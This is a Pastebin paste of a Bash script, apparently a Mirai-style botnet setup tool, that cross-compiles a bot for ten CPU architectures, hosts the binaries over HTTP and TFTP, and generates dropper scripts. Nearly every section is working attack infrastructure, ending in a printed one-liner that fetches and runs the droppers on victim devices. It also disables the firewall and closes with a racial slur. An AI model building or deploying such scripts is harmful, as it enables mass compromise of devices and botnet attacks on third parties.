miraip0ts

NSA-edited

Jan 16th, 2017
1,573
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 13.88 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo -e '\x1b[31m###############################################################################'
  4. echo -e '\x1b[31m* ___     __________  ____ _______      _____ _______________.___.  ___       *'
  5. echo -e '\x1b[31m* / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\  *'
  6. echo -e '\x1b[31m* \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/  *'
  7. echo -e '\x1b[31m*           |    |   \ |   /    |    \/    |    \    |   \\____   |           *'
  8. echo -e '\x1b[31m*           |______  / |___\____|__  /\____|__  /____|_  // ______|           *'
  9. echo -e '\x1b[31m*                  \/              \/         \/       \/ \/                  *'
  10. echo -e '\x1b[31m###############################################################################'
  11. echo -e '\x1b[31m###                            NSA-edited.sh                                ###'
  12. echo -e '\x1b[31m###############################################################################\r\n\r\n'
  13. echo -e 'MADE DATE: 5-29-15\r\n'
  14. yum install perl -y;yum install gcc -y;yum install gcc-c++ -y;yum install cpan -y;yum install httpd -y;yum install tftp -y;yum install screen -y;yum install nano -y;yum install unzip -y;yum install tar -y;yum install wget -y;yum install curl -y;yum install busybox -y;yum install python-paramiko -y
  15.  
  16. #########################################
  17. ###############Botnames##################
  18. #########################################
  19. L1='jackmymipsel' #mipsel
  20. L2='jackmymips'  #mips
  21. L3='jackmysh4'    #sh4
  22. L4='jackmyx86' #x86_64
  23. L5='jackmyarmv6' #armv6l
  24. L6='jackmyi686'   #i686
  25. L7='jackmypowerpc'  #powerpc
  26. L8='jackmyi586'  #i586
  27. L9='jackmym86k'  #m86k
  28. L10='jackmysparc'  #sparc
  29.  
  30. #########################################
  31. ##############Wgetlinks##################
  32. #########################################
  33. mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
  34. mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
  35. sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
  36. x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
  37. armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
  38. i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
  39. ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
  40. i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
  41. m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
  42. sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
  43. echo -e "\x1b[31mUsage: sh NSA-edited.sh [BOTNAME.c] DONT BE A DUMBASS AND RUN IT OTHERWISE"
  44. sleep 5
  45. apt-get install tar
  46. yum install tar -y
  47.  
  48. #########################################
  49. ################Wgetting#################
  50. #########################################
  51. if [ -d cross-compiler-mips ]
  52. then
  53. echo -e "\e[1;32mcross-compiler-mips is present, no need for wget"
  54. else
  55. wget $mips
  56. tar -xvjf cross-compiler-mips*
  57. fi
  58. if [ -d cross-compiler-mipsel ]
  59. then
  60. echo -e "\e[0;36mcross-compiler-mipsel is present, no need for wget"
  61. else
  62. wget $mipsel
  63. tar -xvjf cross-compiler-mipsel*
  64. fi
  65. if [ -d cross-compiler-sh4 ]
  66. then
  67. echo -e "\e[1;32mcross-compiler-sh4 is present, no need for wget"
  68. else
  69. wget $sh4
  70. tar -xvjf cross-compiler-sh4*
  71. fi
  72. if [ -d cross-compiler-x86_64 ]
  73. then
  74. echo -e "\e[0;36mcross-compiler-x86_64 is present, no need for wget"
  75. else
  76. wget $x86_64
  77. tar -xvjf cross-compiler-x86_64*
  78. fi
  79. if [ -d cross-compiler-armv6l ]
  80. then
  81. echo -e "\e[1;32mcross-compiler-armv6l is present, no need for wget"
  82. else
  83. wget $armv6l
  84. tar -xvjf cross-compiler-armv6l*
  85. fi
  86. if [ -d cross-compiler-powerpc ]
  87. then
  88. echo -e "\e[1;32mcross-compiler-powerpc is present, no need for wget"
  89. else
  90. wget $ppc
  91. tar -xvjf cross-compiler-powerpc*
  92. fi
  93. if [ -d cross-compiler-m68k ]
  94. then
  95. echo -e "\e[1;32mcross-compiler-m68k is present, no need for wget"
  96. else
  97. wget $m68k
  98. tar -xvjf cross-compiler-m68k*
  99. fi
  100. if [ -d cross-compiler-sparc ]
  101. then
  102. echo -e "\e[1;32mcross-compiler-sparc is present, no need for wget"
  103. else
  104. wget $sparc
  105. tar -xvjf cross-compiler-sparc*
  106. fi
  107. if [ -d cross-compiler-i586 ]
  108. then
  109. echo -e "\e[1;32mcross-compiler-i586 is present, no need for wget"
  110. else
  111. wget $i586
  112. tar -xvjf cross-compiler-i586*
  113. fi
  114. if [ -d cross-compiler-i686 ]
  115. then
  116. echo -e "\e[0;36mcross-compiler-i686 is present, no need for wget"
  117. else
  118. wget $i686
  119. tar -xvjf cross-compiler-i686*
  120. fi
  121. rm -rf *.tar.bz2
  122. echo " "
  123. echo -e "\x1b[31mDONE...NOW TO COMPILE THE SHIT"
  124. sleep 3
  125.  
  126. #########################################
  127. ##############Compiling##################
  128. #########################################
  129. ./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
  130. ./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
  131. ./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
  132. ./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
  133. ./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
  134. ./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
  135. ./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
  136. ./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
  137. ./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
  138. ./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
  139. apt-get install apache2; apt-get install php5 -y -q
  140. yum install httpd; yum install php -y -q
  141. mv jackmy* /var/www/html/
  142. echo -e "\x1b[31mRESTARTING YOUR HTTPD BITCH"
  143. service httpd start
  144. service apache2 restart
  145.  
  146. #########################################
  147. #########Setting up gtop.sh##############
  148. #########################################
  149. echo -e "\x1b[31mMAKING GTOP.SH"
  150. cd /var/www/html/; touch gtop.sh
  151.  
  152. echo -e "\x1b[31mDONT BE LIKE CODE, AND WAIT A DAMN MINUTE!!!!"
  153. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
  154. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
  155. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
  156. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
  157. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
  158. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
  159. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
  160. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
  161. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
  162. echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
  163.  
  164. yum install xinetd tftp tftp-server -y
  165. echo -e "# default: off
  166. # description: The tftp server serves files using the trivial file transfer \
  167. #       protocol.  The tftp protocol is often used to boot diskless \
  168. #       workstations, download configuration files to network-aware printers, \
  169. #       and to start the installation process for some operating systems.
  170. service tftp
  171. {
  172.        socket_type             = dgram
  173.        protocol                = udp
  174.        wait                    = yes
  175.        user                    = root
  176.        server                  = /usr/sbin/in.tftpd
  177.        server_args             = -s -c /var/lib/tftpboot
  178.        disable                 = no
  179.        per_source              = 11
  180.        cps                     = 100 2
  181.        flags                   = IPv4
  182. }
  183. " >> /etc/xinetd.d/tftp
  184. service xinetd start
  185. cp $L1 /var/lib/tftpboot
  186. cp $L2 /var/lib/tftpboot
  187. cp $L3 /var/lib/tftpboot
  188. cp $L4 /var/lib/tftpboot
  189. cp $L5 /var/lib/tftpboot
  190. cp $L6 /var/lib/tftpboot
  191. cp $L7 /var/lib/tftpboot
  192. cp $L8 /var/lib/tftpboot
  193. cp $L9 /var/lib/tftpboot
  194. cp $L10 /var/lib/tftpboot
  195.  
  196. #########################################
  197. #########Setting up tftp.sh##############
  198. #########################################
  199. cd /var/lib/tftpboot; touch tftp1.sh
  200.  
  201. echo -e "\x1b[31mMAKING TFTP1.SH"
  202. echo -e "\x1b[31mONCE AGAIN, WAIT A DAMN MINUTE!!!!"
  203. echo "cp /bin/busybox -O /tmp/badbox">> tftp1.sh
  204. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L1;cat $L1 >badbox;chmod +x *;./badbox">> tftp1.sh
  205. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L2;cat $L2 >badbox;chmod +x *;./badbox">> tftp1.sh
  206. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L3;cat $L3 >badbox;chmod +x *;./badbox">> tftp1.sh
  207. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L4;cat $L4 >badbox;chmod +x *;./badbox">> tftp1.sh
  208. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L5;cat $L5 >badbox;chmod +x *;./badbox">> tftp1.sh
  209. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L6;cat $L6 >badbox;chmod +x *;./badbox">> tftp1.sh
  210. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L7;cat $L7 >badbox;chmod +x *;./badbox">> tftp1.sh
  211. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L8;cat $L8 >badbox;chmod +x *;./badbox">> tftp1.sh
  212. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L9;cat $L9 >badbox;chmod +x *;./badbox">> tftp1.sh
  213. echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L10;cat $L10 >badbox;chmod +x *;./badbox">> tftp1.sh
  214.  
  215. #########################################
  216. #########Setting up tftp2.sh#############
  217. #########################################
  218. echo -e "\x1b[31mMAKING TFTP2.SH"
  219. cd /var/lib/tftpboot; touch tftp2.sh
  220.  
  221. echo -e "\x1b[31mFOR THE LAST TIME HOLD THE FUCK ON!!!!"
  222. echo "cp /bin/busybox -O /tmp/badbox">> tftp2.sh
  223. echo "tp -r $L1 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L1 >badbox;chmod +x *;./badbox">> tftp2.sh
  224. echo "tp -r $L2 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L2 >badbox;chmod +x *;./badbox">> tftp2.sh
  225. echo "tp -r $L3 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L3 >badbox;chmod +x *;./badbox">> tftp2.sh
  226. echo "tp -r $L4 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L4 >badbox;chmod +x *;./badbox">> tftp2.sh
  227. echo "tp -r $L5 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L5 >badbox;chmod +x *;./badbox">> tftp2.sh
  228. echo "tp -r $L6 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L6 >badbox;chmod +x *;./badbox">> tftp2.sh
  229. echo "tp -r $L7 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L7 >badbox;chmod +x *;./badbox">> tftp2.sh
  230. echo "tp -r $L8 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L8 >badbox;chmod +x *;./badbox">> tftp2.sh
  231. echo "tp -r $L9 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L9 >badbox;chmod +x *;./badbox">> tftp2.sh
  232. echo "tp -r $L10 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L10 >badbox;chmod +x *;./badbox">> tftp2.sh
  233.  
  234. #########################################
  235. ###############ULIMIT####################
  236. #########################################
  237. cd /var/www/html/;rm -rf *c
  238. cd /root
  239. ulimit -Hn 999999; ulimit -Sn 99999
  240. ulimit -u 999999;ulimit -n 999999
  241. sysctl -w fs.file-max=999999 >/dev/null
  242. echo "#.bashrc">> .bashrc
  243. echo "#ulimit set">> .bashrc
  244. echo "ulimit -u 999999">> .bashrc
  245. echo "ulimit -n 999999">> .bashrc
  246. bash
  247.  
  248. #########################################
  249. ###############RESTARTING SERVICES#######
  250. #########################################
  251. echo -e'\x1b[31mSTOPPING IPTABLES'
  252. service iptables stop
  253. echo -e'\x1b[31mRESTARTING HTTPD'
  254. service httpd restart
  255. echo -e'\x1b[31mRESTARTING XINETD'
  256. service xinetd restart
  257.  
  258. #########################################
  259. ###############CREDZ#####################
  260. #########################################
  261. echo -e '\x1b[31mRECODED BY ~WIFI~'
  262. echo -e '\x1b[31mSkype: bl4ck.j3sus|XMPP: [email protected]'
  263. echo -e '\x1b[31mDONE YOU LAZY FUCKING NIGGER!!!!!'
  264. echo -e "\1b[0;32mYour link: cd /tmp; wget http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh || curl -O http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'); chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh\x1b[0m"
Advertisement
Add Comment
Please, Sign In to add comment